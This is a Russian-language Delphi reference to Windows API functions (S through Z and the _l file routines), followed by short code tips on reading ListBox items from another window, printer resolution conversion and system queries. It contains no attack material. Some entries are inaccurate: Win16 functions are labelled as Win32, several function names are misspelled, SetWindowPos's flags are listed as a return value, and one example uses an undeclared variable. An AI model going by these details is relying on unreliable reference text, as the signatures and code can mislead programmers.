Функция SetWindowLong Описание: function SetWindowLong(Wnd: HWnd; Index: Integer; NewLong: Longint): Longint; Заменяет для окна атрибут структуры класса окна новым значением. Параметры: Wnd: Идентификатор окна. Index: Одна из следующих констант: gwl_ExStyle, gwl_Style, gwl_WndProc или положительное смещение в байтах для доступа к дополнительным четырехбайтным значениям. См. раздел "Смещения поля окна, gwl_" в главе 1. NewLong: Значение замены. Возвращаемое значение: Предыдущее значение. функция находится в файле user32.dll
Функция SetWindowOrg Описание: function SetWindowOrg(DC: HDC; X, Y: Integer): Longint; Устанавливает начало окна в пределах точки зрения указанного контекста устройства. Параметры: DC: Идентификатор контекста устройства. X, Y: Новое начало окна. Возвращаемое значение: Предыдущие координаты X и Y в младшем и старшем слове, соответственно.
Функция SetWindowPos Описание: function SetWindowPos(Wnd, WndInsertAfter: HWnd; X, Y, cx, cy: Integer; Flags: Word); Изменяет размер, положение и порядок окна. Параметры: Wnd: Идентификатор окна. WndInsertAfter: Предыдущее окно в списке администратора окон. X, Y: Верхний левый угол. cx: Новая ширина окна. cy: Новая высота окна. Возвращаемое значение: Один из флагов swp_DrawFrame, swp_HideWindow, swp_NoActivate, swp_NoRemove, swp_NoSize, swp_NoRedraw, swp_NoZOrder, swp_ShowWindow. См. раздел "Флаги установки положения окна, swp_" в главе 1. функция находится в файле user32.dll
Функция SetWindowsHook Описание: function SetWindowsHook(FilterType: Integer; FilterFunc: TFarProc): TFarProc; Устанавливает функцию фильтрации в цепочке функций фильтрации, указанной параметром FilterType. Функции фильтрации передается Code, wParam и lParam, значения которых зависят от типа фильтра. Параметры: FilterType: Один из кодов wh_CallWndProc, wh_GetMessage, wh_JournalPlaybacf, wh_JournalRecord, wh_Keyboard, wh_MsgFilter или wh_SysMsgFilter. См. раздел "Коды перехвата Windows, wh_", в главе 1. FilterFunc: Адрес экземпляра процедуры функции фильтрации. Возвращаемое значение: Адрес экземпляра процедуры предыдущей установленной функции фильтрации; nil в случае отсутствия функции фильтрации. См. также: DefHookProc функция находится в файле user32.dll
Функция SetWindowText Описание: function SetWindowText(Wnd: HWnd; Str: PChar); Устанавливает название заголовка для окна или текст органа управления с помощью строки, указанной в Str. Параметры: Wnd: Идентификатор окна или органа управления. Str: Строка (заканчивающаяся пустым символом). функция находится в файле user32.dll
Функция SetWindowWord Описание: function SetWindowWord(Wnd: HWnd; Index: Integer; NewWord: Word): Integer; Изменяет для окна значение атрибута, указанного параметром Index в структуре класса окна. Параметры: Wnd: Идентификатор окна. Index: Одна из следующих констант: gww_HInstance, gww_HWndParent, gww_ID или положительное смещение в байтах для доступа к дополнительным двухбайтным значениям. См. раздел "Смещения поля окна, gww_" в главе 1. NewWord: Значение замены. Возвращаемое значение: Предыдущее значение. функция находится в файле user32.dll
Функция ShowCaret Описание: function ShowCaret(Wnd: HWnd); Отображает вставку, владельцем которой является Wnd на дисплее. Параметры: Wnd: Идентификатор окна или 0 для окна в текущей задаче. функция находится в файле user32.dll
Функция ShowCursor Описание: function ShowCursor(Show: Bool): Integer; Отображает курсор, если его счетчик отображений (первоначально установленный в нуль) больше или равен нулю. Параметры: Show: Не нуль для увеличения счетчика отображений и нуль - для его уменьшения. Возвращаемое значение: Новый счетчик отображений. функция находится в файле user32.dll
Функция ShowOwnedPopups Описание: function ShowOwnedPopups(Wnd: HWnd; Show: Bool); Отображает или прячет, в зависимости от значения Show, все всплывающие окна, связанные с данным окном. Параметры: Wnd: Идентификатор окна. Show: Не нуль для отображения всех скрытых всплытий и нуль - для сокрытия всех видимых всплытий. функция находится в файле user32.dll
Функция ShowScrollBar Описание: function ShowScrollBar(Wnd: HWnd; Bar: Word; Show: Bool); Отображает или прячет, в зависимости от значения Show, полосу прокрутки. Параметры: Wnd: Идентификатор окна или орган управления полосы прокрутки, если Bar установлен в sb_Ctl. Bar: Одна из констант sb_Both, sb_Ctl, sb_Horz или sb_Vert. См. раздел "Константы полосы прокрутки, sb_" в главе 1. Show: Не нуль для отображения всех скрытых всплытий и нуль - для сокрытия всех видимых всплытий. функция находится в файле user32.dll
Функция ShowWindow Описание: function ShowWindow(Wnd: HWnd; CmdShow: Integer); Отображает или прячет окно образом, указанным параметром CmdShow. Параметры: Wnd: Идентификатор окна. CmdShow: Одна из констант sw_. См. раздел "Константы отображения окна, sw_" в главе 1. Возвращаемое значение: Не нуль, если окно было ранее видимым; нуль - если оно было ранее спрятанным. функция находится в файле user32.dll
Функция SizeOfResource Описание: function SizeOfResource(Instance, ResInfo: THandle): Word; Считывает размер ресурса. Возвращенный размер может быть больше в силу факторов выравнивания. Параметры: Instance: Модуль экземляра, исполнимый файл которого содержит ресурс. ResInfo: Нужный ресурс, возвращаемый функцией FindResource. Возвращаемое значение: Размер ресурса в байтах; 0 - если ресурс не найден. См. также: AccessResource функция находится в файле kernel32.dll
Функция StartSound Описание: function StartSound: Integer; Проигрывает всю звуковую очередь, не разрушая ее. Возвращаемое значение: Не используется.
Функция StopSound Описание: function StopSound: Integer; Останавливает проигрывание всех звуковых очередей, очищает содержимое очереди и выключает все звуковые драйверы. Возвращаемое значение: Не используется.
Функция StretchBit Описание: function StretchBit(DestDC: HDC; X, Y, Width, Heigth: Integer; SrcDC: HDC; XSrc, YSrc, SrcWidth, ScrHeight: Integer; Rop: Longint): Bool; Перемещает карту бит, растягивая или сжимая ее, из прямоугольника источника в прямоугольник назначения. Источник и назначение комбинируются указанным в Rop образом. Параметры: DestDC: Контекст принимающего устройства. X, Y: Верхний левый угол прямоугольника назначения. Width: Ширина прямоугольника назначения (в логических единицах). Height: Высота прямоугольника назначения (в логических единицах). SrcDC: Контекст устройства карты бит источника. XSrc, YSrc: Верхний левый угол прямоугольника источника. ScrWidth: Ширина прямоугольника источника (в логических единицах). ScrHeight: Высота прямоугольника источника (в логических единицах). Rop: Выполняемая растровая операция. См. раздел "Тернарные растровые операции" в главе 1. Возвращаемое значение: Не нуль - если нарисована карта бит; нуль - если нет. См. также: SetStretchBitMode
Функция StretchDIBits Описание: function StretchDIBits(DC: HDC; DestX, DestY, DestWidth, DestHeigth, SrcX, SrcY, SrcWidth, ScrHeight: Word; Bits: Pointer; var BitsInfo: TBitmapInfo; Usage: Word; Rop:DWord): Integer; Перемещает независящую от устройства карту бит, растягивая или сжимая ее, из прямоугольника источника в прямоугольник назначения. Источник и назначение комбинируются указанным в Rop образом. Параметры: DC: Контекст принимающего устройства. DestX, DestY: Начало прямоугольника назначения (в логических единицах). DestWidth: Ширина прямоугольника назначения (в логических единицах). DestHeight: Высота прямоугольника назначения (в логических единицах). SrcX, SrcY: Начало прямоугольника источника (в логических единицах). ScrWidth: Ширина прямоугольника источника (в логических единицах). ScrHeight: Высота прямоугольника источника (в логических единицах). Bits: Массив байт, содержащий карту бит, независящую от устройства. Usage: Если DIB_RGB_Color определяет BitsInfo, то поле bmiColor содержит значения RGB, или же DIB_Pal_Colors определяет индексы текущей реализуемой логической палитры. См. раздел "Идентификаторы таблицы цветов, DIB" в главе 1. Rop: Одна из тернарных растровых операций. См. раздел "Тернарные растровые операции" в главе 1. Возвращаемое значение: Число скопированных строк развертки. функция находится в файле gdi32.dll
Функция SwapMouseButton Описание: function SwapMouseButton(Swap: Bool): Bool Изменяет на обратное или восстанавливает назначение левой и правой кнопок мыши в соответствии со значением Swap. Параметры: Swap: Не нуль, если нужно поменять местами назначение кнопок или нуль, если нужно восстановить исходные назначения. Возвращаемое значение: Не нуль, если назначения изменены на обратные; нуль - если нет. функция находится в файле user32.dll
Функция SwapRecording Описание: function SwapRecording(Flag: Word); Используется для начала или окончания анализа поведения подкачки при выполнении программы Swap в Windows. Параметры: Flag: (0) прекратить анализ; (1) записывать вызовы подкачки и уничтожать возвраты подкачки; (2) то же, что и (1), но с вызовом через оболочку.
Функция SwitchStackBack Описание: function SwitchStackBack; Восстанавливает стек текущей задачи в ее сегмент данных, сохраняя содержимое регистров AX:DX. См. также: SwitchStackTo
Функция SwitchStackTo Описание: function SwitchStackTo(StackSegment, StackPointer, StackTop: Word); Изменяет стек текущей задачи на StackSegment. Может использоваться только для установки стека DDL в ее сегмент данных, если имеются функции, которые предполагают равенство DS=SS. Параметры: StackSegment: Сегмент данных, который будет содержать стек. StackPointer: Смещение начала стека в StackSegment. StackTop: Смещение вершины стека от StackPointer. См. также: SwitchStackBack
Функция SyncAllVoices Описание: function SyncAllVoices: Integer; Помещает во все звуковые очереди метку синхронизации. Возвращаемое значение: В случае успешного завершения - нуль; s_SerQFUL в случае переполнения очереди. См. раздел "Звуковые константы, s_" в главе 1.
Функции Win32 API [ T ].
Функция TabbedTextOut Описание: function TabbedTextOut(DC: HDC; X, Y: Integer; Str: PChar; Count, TabPositions: Integer; var TabStopPositions; TabOrigin: Integer); Рисует строку текста с позициями табуляции, установленными в соответствием со значением TabStopPositions, используя выбранный шрифт. Параметры: DC: Идентификатор контекста устройства. X, Y: Начальная точка строки. Str: Рисуемая строка. Count: Размер Str (в символах). TabPositions: Число позиций табуляции в TabStopPositions или нуль, если позиции табуляции имеют место через каждые восемь средних размеров символов в ширину. TabStopPositions: Целочисленный массив, содержащий возрастающие позиции табуляции (в элементах изображения). TabOrigin: Начальная позиция (в логических единицах), с которой следуют позиции табуляции. Возвращаемое значение: Не используется. функция находится в файле user32.dll
Функция TextOut Описание: function TextOut(DC: HDC; X, Y: Integer; Str: PChar; Count: Integer): Bool; Рисует строку текста, используя выбранный шрифт. Параметры: DC: Идентификатор контекста устройства. X, Y: Начальная точка строки. Str: Рисуемая строка. Count: Размер Str (в символах). Возвращаемое значение: Не нуль, если нарисована; нуль - если нет. функция находится в файле gdi32.dll
Функция Throw Описание: function Throw(var CatchBuf: TCatchBuf; ThrowBack:: Integer); Восстанавливает среду выполнения прикладной задачи. Выполнение продолжается с функции Catch, первоначально сохранившей среду в буфере CatchBuf. Параметры: CatchBuf: TCatchBuf, содержащая среду выполнения. ThrowBack: Значение, возвращаемое функции Catch.
Функция ToAscii Описание: function ToAscii(VirtKey, ScanCode: Word; KeyState: PChar; CharBuff: Pointer; Flags: Word): Integer; Переводит VirtKey и текущее состояние клавиатуры в соответствующие символы ANSI. Параметры: VirtKey: Код виртуальной клавиши. KeyState: Массив из 256 байт, содержащий состояние каждой клавиши, с установленным старшим битом, если клавиша отпущена. CharBuff: Указатель на 32-битовый принимающий буфер. Flags: Не используется. Возвращаемое значение: (2) Нажатая и заблокированная клавиша скопирована в CharBuff; (1) в CharBuff скопирован один символ ANSI; (0) перевод в текущем состоянии клавиатуры невозможен. функция находится в файле user32.dll
Функция TrackPopupMenu Описание: function TrackPopupMenu(Menu: HMenu; Flags: Word; x, y, cx: Integer; Wnd: HWnd; var Rect: TRect): Bool; Отображает плавающее всплывающее меню и отслеживает выбор элементов. Плавающие всплывающие меню могут отображаться в любом месте экрана. Параметры: Menu: Идентификатор всплывающего меню. Flags: Установлен в 0, не используется. x, y: Положение верхнего левого угла меню (в координатах экрана). cx: Ширина меню (в единицах экрана) или нуль по умолчанию. Wnd: Окно, владеющее всплывающим меню, для приема сообщений wm_Command. Rect: TRect, определяющая область мыши, где меню остается видимым, если пользователь отпускает кнопку мыши. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. См. также: CreatePopupMenu, GetSubMenu функция находится в файле user32.dll
Функция TranslateAccelerator Описание: function TranslateAccelerator(Wnd: HWnd; AccTable: THandle; var Msg: TMsg): Integer; Переводит акселераторы клавиатуры (wm_KeyUp, wm_KeyDown) в сообщения команд меню, wm_Command и wm_SysCommand, которые затем посылаются прямо окну. Параметры: Wnd: Идентификатор окна. AccTable: Идентификатор таблицы акселератора (возвращается функцией LoadAccelerator). Msg: Информация TMsg, считанная из GetMessage или PeekMessage. Возвращаемое значение: Не нуль в случае выполнения перевода; 0 - в противном случае. функция находится в файле user32.dll
Функция TranslateMDISysAccel Описание: function TranslateMDISysAccel(Wnd: HWnd; var Msg: TMsg): Bool; Переводит акселераторы клавиатуры для сообщений wm_SysCommand системного меню дочернего окна MDI, которые затем посылаются прямо окну. Параметры: Wnd: Родительское окно пользователя MDI Msg: Информация TMsg, считанная из GetMessage или PeekMessage. Возвращаемое значение: Не нуль в случае выполнения перевода; 0 - в противном случае. функция находится в файле user32.dll
Функция TranslateMessage Описание: function TranslateMessage(var Msg: TMsg): Bool; Переводит комбинации wm_KeyDown/Up в wm_Char или wm_DeadChar и комбинации wm_SysKeyDown/Up в wm_SysChar или wm_SysDeadChar и направляет символьное сообщение в очередь прикладной задачи. Параметры: Msg: Информация TMsg, считанная из GetMessage или PeekMessage. Возвращаемое значение: Не нуль в случае выполнения перевода; 0 - в противном случае. функция находится в файле user32.dll
Функция TranmitCommChar Описание: function TranmitCommChar(Cid: Integer; AChar: Char): Integer; Помещает AChar в начало очереди на передачу устройства связи для немедленной передачи. Параметры: Cid: Устройство связи. AChar: Передаваемый символ. Возвращаемое значение: Нуль в случае успешного завершения; отрицательное число вследствие того, что еще не передан предыдущий символ.
Функции Win32 API [ U ].
Функция UngetCommChar Описание: function UngetCommChar(Cid: Integer; AChar: Char): Integer; Помещает AChar обратно в очередь на прием устройства связи. Параметры: Cid: Устройство связи. AChar: Принимаемый символ. Возвращаемое значение: Нуль в случае успешного завершения; отрицательное число вследствие того, что еще не передан предыдущий символ.
Функция UnhookWindowsHook Описание: function UnhookWindowsHook(Hook: Integer; HookFunc: TFarProc): Bool; Удаляет функцию перехвата из цепочки функций перехвата, определяемой параметром Hook. Параметры: Hook: Один из кодов wh_CallWndProc, wh_GetMessage, wh_JournalPlaybacf, wh_JournalRecord, wh_Keyboard или wh_MsgFilter. См. раздел "Коды перехвата Windows, wh_", в главе 1. HookFunc: Адрес экземпляра процедуры функции перехвата. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле user32.dll
Функция UnionRect Описание: function UnionRect(var DestRect; Src1Rect, Src2Rect: LPRect): Integer; Создает объединение двух прямоугольников и помещает результат в DestRect. Параметры: DestRect: Результирующая структура TRect. Src1Rect: Структура 1 исходного TRect. Src2Rect: Структура 2 исходного TRect. Возвращаемое значение: Не нуль, если объединение непусто; 0 - в противном случае. функция находится в файле user32.dll
Функция UnlockData Описание: function UnlockData(Dummy: Integer): THandle; Разблокирует текущий перемещаемый сегмент данных. Параметры: Dummy: Не используется. Установлен в 0. Возвращаемое значение: Идентификатор для разблокированного сегмента; 0 - в случае неудачи.
Функция UnlockResource Описание: function UnlockResource(RezData: THandle): Bool; Разблокирует ресурс RezData и уменьшает его счетчик ссылок. Параметры: RezData: Идентификатор блока глобальной памяти. Возвращаемое значение: Нуль, если счетчик ссылок равен 0; не нуль - в противном случае.
Функция UnlockSegment Описание: function UnlockSegment(Segment: Word): THandle; Разблокирует сегмент, указанный параметром Segment. Параметры: Segment: Адрес сегмента или -1 для разблокирования текущего сегмента данных. Возвращаемое значение: Нуль, если счетчик ссылок уменьшился до 0; не нуль - в противном случае. См. также: LockSegment
Функция UnrealizeObject Описание: function UnrealizeObject(hObject: HBrush): Bool; Указывает GDI, что нужно установить в исходное положение выбираемое в следующий раз начало, если hObject является кистью, или реализовать палитру, если hObject является логической палитрой. Параметры: hObject: Сбрасываемый в исходное состояние объект. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll
Функция UnregisterClass Описание: function UnregisterClass(ClassName: PChar; Instance: THandle): Bool; Удаляет класс окна из таблицы классов окна и освобождает всю связанную с ним память. Параметры: ClassName: Имя класса (заканчивающееся пустым символом) ранее зарегистрированного класса. Instance: Экземпляр модуля, создавшего класс. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - если указано неверное значение для ClassName или если окно класса существует. См. также: RegisterClass функция находится в файле user32.dll
Функция UpdateColors Описание: function UpdateColors(DC: HDC): Integer; Обновляет область пользователя, сравнивая по элементам изображения текущие цвета области пользователя с системной палитрой. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Не используется. функция находится в файле gdi32.dll
Функция UpdateWindow Описание: function UpdateWindow(Wnd: HWnd); Если область обновления окна непуста, то посылает сообщение wm_Paint прямо оконной функции данного окна. Параметры: Wnd: Идентификатор окна. функция находится в файле user32.dll.
Функции Win32 API [ V ].
Функция ValidateCodeSegments Описание: function ValidateCodeSegments; Выводит на терминал отладочную информацию, если какие-либо сегменты кодов были изменены в результате операций перезаписи памяти. Доступна только в отладочной версии Windows. Для того, чтобы блокировать эту функцию, нужно установить флаг EnableSegmentChecksum в WIN.INI в 0. Не используется в Windows, работающем в стандартном режиме или в расширенном режиме процессора 386.
Функция ValidateFreeSpaces Описание: function ValidateFreeSpaces: Pointer; Проверяет на достоверность содержимого все сегменты свободной памяти. Эта функция работает только в отладочной версии Windows. Возвращаемое значение: Не используется.
Функция ValidateRect Описание: function ValidateRect(Wnd: HWnd; Rect: LPRect); Проверяет достоверность области пользователя, удаляя Rect из области обновления окна. Параметры: Wnd: Идентификатор окна. Rect: TRect (в координатах пользователя), удаляемая из области обновления или nil для всей области пользователя. См. также: BeginPaint функция находится в файле user32.dll
Функция ValidateRgn Описание: function ValidateRgn(Wnd: HWnd; Rgn: HRgn); Проверяет достоверность области пользователя, удаляя область, заданную параметром Rgn, из области обновления окна. Параметры: Wnd: Идентификатор окна. Rgn: Идентификатор области (в координатах пользователя). функция находится в файле user32.dll.
Функция VkKeyScan Описание: function VkKeyScan(AChar: Word): Word; Переводит AChar в код соответствующей ему виртуальной клавиши и состояние сдвига. Параметры: AChar: Символ ANSI для нахождения соответствующего кода виртуальной клавиши. Возвращаемое значение: Код виртуальной клавиши в младшем байте; следующие состояния сдвига в старшем байте: (0) без сдвига; (1) сдвинутое; (2) управляющий символ; (6) Ctrl+Alt; (7) Shift+Ctrl+Alt или (3), (4) или (5), которые не используются для символов. В случае ошибки оба байта содержат -1. функция находится в файле user32.dll.
Функции Win32 API [ W ].
Функция WaitMessage Описание: function WaitMessage; Передает управление другим прикладным задачам и не возвращает его до тех пор, пока в очереди прикладной задачи не станет доступным сообщение. функция находится в файле user32.dll.
Функция WaitSoundState Описание: function WaitSoundState(State: Integer): Integer; Ожидает драйвер воспроизведения для перехода в состояние, указанное State. Параметры: State: Одна из констант s_AllThreshold, s_QueueEmpty или s_Threshold. См. "Звуковые константы, s_" в главе 1. Возвращаемое значение: Нуль в случае успешного завершения; s_SerDst в случае неверного State.
Функция WindowFromPoint Описание: function WindowFromPoint(Point: TPoint): HWnd; Определяет окно, содержащее указанную точку. Параметры: Point: Проверяемая TPoint (в координатах экрана). Возвращаемое значение: Идентификатор окна; 0 - если в указанной точке нет окна. функция находится в файле user32.dll
Функция WinExe Описание: function WindExe(CmdLine: PChar; CmdShow: Word): Word; Выполняет прикладную задачу, указанную параметром CmdLine. Параметры: CmdLine: Командная строка для выполнения прикладной задачи (заканчивающаяся пустым символом). CmdShow: Определяет, как будет изначально отображаться окно прикладной задачи (см. ShowWindow). Возвращаемое значение: Значение больше 32 в случае успешного завершения; в противном случае, возвращается одно из следующих значений: (0) не хватает памяти; (5) попытка динамически связать задачу; (6) библиотека имеет несколько сегментов данных; (10) неверная версия Windows; (11) неверный файл EXE; (12) прикладная задача для OS/2; (13) прикладная задача для DOS 4.0; (14) неизвестный тип файла EXE или (15) прикладная задача не для защищенного режима.
Функция WinHlp Описание: function WindHlp(Wnd: HWnd; HelpFile: PChar; Command: Word; Data: Longint): Bool; Вызывает механизм Windows получения справочной информации с командой Command. Параметры: Wnd: Идентификатор окна. HelpFile: Имя файла справочной информации (заканчивающееся пустым символом), включающее при необходимости имя маршрута. Command: Одна из команд help_Context, help_HelpOnHelp, help_Index, help_Key, help_Quit или help_SetIndex. См. раздел "Команды получения справочной информации, help_" в главе 1. Data: Номер идентификатора контекста, если Command имеет значение help_Context, или ключевое слово справочной темы (заканчивающееся пустым символом), если Command имеет значение help_Key. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае.
Функция WriteComm Описание: function WriteComm(Cid: Integer; Buf: PChar; Size: Integer): Integer; Выводит буфер, указанный Buf, в устройство связи. Параметры: Cid: Устройство связи. Buf: Буфер, содержащий записываемый символ. Size: Число выводимых символов. Возвращаемое значение: Фактическое число записанных символов; отрицательное число, если ошибка, абсолютное значение которой есть число символов, записанных до того, как возникла ошибка.
Функция WritePrivateProfileString Описание: function WritePrivateProfileString(ApplicationName, KeyName, Str, Filename: PChar): Bool; Ищет в FileName указанный заголовок прикладной задачи и имя клавиши, заменяя значение на указанное в Str. Параметры: ApplicationName: Имя заголовка прикладной задачи. KeyName: Имя клавиши, появляющееся под именем заголовка прикладной задачи или nil для удаления всей секции. Str: Строка с новым значением клавиши или nil для удаления имени клавиши. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле kernel32.dll
Функция WriteProfileString Описание: function WriteProfileString(ApplicationName, KeyName, Str: PChar): Bool; Ищет в файле WIN.INI указанный заголовок прикладной задачи и имя клавиши, заменяя значение на указанное в Str. Параметры: ApplicationName: Имя прикладной задачи. KeyName: Имя клавиши, появляющееся под именем заголовка прикладной задачи или nil для удаления всей секции прикладной задачи. Str: Значение нового имени клавиши или nil для удаления имени клавиши. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле kernel32.dll
Функция wvsprinf Описание: function wvsprinf(Output, Format, ArgList: PChar): Integer; Форматирует и записывает в буфер последовательность символов. Параметры: Output: Буфер для приема отформатированных символов. Format: Строка управления форматом. ArgList: Массив аргументов для строки управления форматом. Возвращаемое значение: В случае успешного завершения - число символов в Output, не считая 0; в противном случае - меньше, чем длина Format.
Функции Win32 API [ Y ].
Функция Yield Описание: function Yield: Bool; Останавливает текущую задачу и запускает ожидающую задачу.
Функции Win32 API [ Z ].
Функция ZeroMemory Описание: function ZeroMemory(Destination:Pointer, Length: DWORD); Заполняет область памяти нулями. Параметры: Destination: Указатель на начальный адрес области памяти. Length: Размер области памяти.
Функции Win32 API [ _ ].
Функция _lcreat
Описание:
function _lcreat(PathName: PChar; Attribute: Integer): Integer; |
Открывает указанный файл.
Параметры:
PathName: Полное имя маршрута DOS в открываемому файлу. Attribute: (0) чтение или запись; (1) только чтение; (2) невидимый или (3) системный.Возвращаемое значение:
Описатель файла DOS в случае успешного завершения; -1 - в противном случае.
Функция находится в файле kernel32.dll.
Функция _lclose
Описание:
function _lclose(FileHandle: Integer): Integer; |
Закрывает указанный файл.
Параметры:
FileHandle: Описатель файла DOS.Возвращаемое значение:
Нуль в случае успешного завершения; -1 - в противном случае.
Функция находится в файле kernel32.dll.
Функция _lopen
Описание:
function _lopen(PathName: Char; ReadWrite: Integer): Integer; |
Открывает указанный файл.
Параметры:
PathName: Строка, определяющая путь и имя файла. ReadWrite: Определяет доступ по чтению и записи, используя для этого одну из констант of_: of_Read, of_ReadWrite или of_Write. См. раздел "Константы открытия файла, of_" в главе 1.Возвращаемое значение:
В случае успешного завершения - описатель файла DOS; -1 - в противном случае.
Функция находится в файле kernel32.dll.
Функция _lread
Описание:
function _lread(FileHandle: Integer; Buffer: PChar; Bytes: Integer): Word; |
Считывает из открытого файла указанное число байт.
Параметры:
FileHandle: Описатель файла DOS. Buffer: Принимающий буфер. Bytes: Число считываемых байт.Возвращаемое значение:
В случае успешного завершения - число считанных байт; -1 - в противном случае; 0 - если конец файла.
Функция находится в файле kernel32.dll.
Функция _lwrite
Описание:
function _lwrite(FileHandle: Integer; Buffer: PChar; Bytes: Integer): Word; |
Записывает данные из буфера Buffer в указанный файл.
Параметры:
FileHandle: Описатель файла DOS. Buffer: Содержит записываемые данные. Bytes: Число записываемых байт.Возвращаемое значение:
В случае успешного завершения - число байт, записанных в файл; -1 - в противном случае.
Функция находится в файле kernel32.dll.
Получить доступ к элементам списка с помощью API.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This code might be useful for nonVCL applications or to read Listbox
items from another application.
}
{
Die folgenden Funktionen konnen z.B fur nonVCL Projekte verwendet werden
oder auch zum Auslesen von Listboxen aus anderen Applikationen.
}
// Retrieve the number of items in a ListBox
// Anzahl Eintrage einer ListBox ermitteln
function LB_GetItemCount(hListBox: THandle): Integer;
begin
Result := SendMessage(hListBox, LB_GETCOUNT, 0, 0);
end;
// Delete a string in a ListBox
// Einen String in einer ListBox loschen
procedure LB_DeleteItem(hListBox: THandle; Index: Integer);
begin
SendMessage(hListBox, LB_DELETESTRING, Index, 0);
end;
// Retrieve the selected item from a ListBox
// Gibt den Text des markiertes Items einer ListBox zuruck
function LB_GetSelectedItem(hListBox: THandle): string;
var
Index, len: Integer;
s: string;
buffer: PChar;
begin
Index := SendMessage(hListBox, LB_GETCURSEL, 0, 0);
len := SendMessage(hListBox, LB_GETTEXTLEN, wParam(Index), 0);
GetMem(buffer, len + 1);
SendMessage(hListBox, LB_GETTEXT, wParam(Index), lParam(buffer));
SetString(s, buffer, len);
FreeMem(buffer);
Result := IntToStr(Index) + ' : ' + s;
end;
// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
var
hListBox: THandle;
begin
hListBox := {...}; // listbox handle
ListBox1.Items.Text := LB_GetSelectedItem(hListBox);
end;
// Retrieve a string from a ListBox
// Gibt den Text eines bestimmten Items einer ListBox zuruck
function LB_GetListBoxItem(hWnd: Hwnd; LbItem: Integer): string;
var
l: Integer;
buffer: PChar;
begin
l := SendMessage(hWnd, LB_GETTEXTLEN, LbItem, 0);
GetMem(buffer, l + 1);
SendMessage(hWnd, LB_GETTEXT, LbItem, Integer(buffer));
Result := StrPas(buffer);
FreeMem(buffer);
end;
// Example, Beispiel:
procedure TForm1.Button2Click(Sender: TObject);
var
hListBox: THandle;
begin
hListBox := {...}; // listbox handle
ListBox1.Items.Text := LB_GetListBoxItem(hListBox, 2);
end;
// Gibt den gesamten Text einer ListBox zuruck
// Retrieve all listbox items
function LB_GetAllItems(hWnd: Hwnd; sl: TStrings): string;
var
RetBuffer: string;
i, x, y: Integer;
begin
x := SendMessage(hWnd, LB_GETCOUNT, 0, 0);
for i := 0 to x - 1 do
begin
y := SendMessage(hWnd, LB_GETTEXTLEN, i, 0);
SetLength(RetBuffer, y);
SendMessage(hWnd, LB_GETTEXT, i, lParam(PChar(RetBuffer)));
sl.Add(RetBuffer);
end;
end;
// Example, Beispiel:
procedure TForm1.Button3Click(Sender: TObject);
var
sl: TStringList;
ListBox_Handle: THandle;
begin
hListBox := {...}; // listbox handle
sl := TStringList.Create;
try
LB_GetAllItems(ListBox_Handle, sl);
finally
ListBox1.Items.Text := sl.Text;
sl.Free;
end;
end;
Определение параметров принтера через API.
Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter - Printer.Handle. Далее вызывается функция API (unit WinProcs) :GetDevice(Handle:HDC; Index:integer):integer;Index - код параметра, который необходимо вернуть. Для Index существует ряд констант : DriverVersion - вернуть версию драйвера Texnology - Технология вывода, их много, основные dt_Plotter - плоттер dt_RasPrinter - растровый принтер dt_Display - дисплей HorzSize - Горизонтальный размер листа (в мм) VertSize - Вертикальный размер листа (в мм) HorzRes - Горизонтальный размер листа (в пикселах) VertRes - Вертикальный размер листа (в пикселах) LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм) LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм) Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.
Параметры, возвращаемые по LogPixelX и LogPixelY очень важны - они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:
{ Получить информацию о принтере }
Procedure TForm1.GetPrinterInfo;
begin
PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);
PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);
end;
{ переводит координаты из мм в пиксели }
Function TForm1.PrinterCoordX(x:integer):integer;
begin
PrinterCoordX:=round(PixelsX/25.4*x);
end;
{ переводит координаты из мм в пиксели }
Function TForm1.PrinterCoordY(Y:integer):integer;
begin
PrinterCoordY:=round(PixelsY/25.4*Y);
end;
...
GetPrinterInfo;
Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),
'Этот текст печатается с отступом 30 мм от левого края и '+
'55 мм от верха при любом разрешении принтера');
|
Данную методику можно с успехом применять для печати картинок - зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) - микроскопической.
О пользе типа ShortString при использовании WinAPI.
Автор: Павел Озерский WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> О пользе типа shortstring при использовании WinAPI
Довольно значительное количество функций WinAPI принимают как параметры
указатель на заполняемый ими массив символов и размер этого массива, а
возвращают количество помещенных ими символов. Если мы работаем в ANSI (не
Unicode), здесь удобно пользоваться короткими строками и "убивать двух зайцев"
за один раз.
Зависимости: windows
Автор: Павел Озерский, pavel@insect.mail.iephb.ru, Санкт-Петербург
Copyright: собственная разработка автора (Павел Озерский)
Дата: 26 апреля 2002 г.
***************************************************** }
//пример:
function ClassName(hwnd: tHandle): shortstring;
begin
byte(Result[0]) := GetClassName(hwnd, pChar(@Result[1]), 255);
end;
Как можно опросить различные параметры системы, например количество свободных ресурсов.
Оформил: DeeCo
Для получения параметров системы существует множество различных API-функций. Для того, чтобы узнать количество свободных ресурсов, - достаточно вызова следующей API-функции:Variable := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);Другие функции опроса параметров системы (описаны в системе помощи): GetWinFlags, SystemParametersInfo, GetDeviceCaps и GetFreeSpace. Для 32-bit систем необходимо вызывать GetSystemMetrics, GetSystemInfo и SystemParametersInfo.
Вывод текста с использованием Windows API функций.
Оформил: DeeCo
Автор: Олег Грабец.
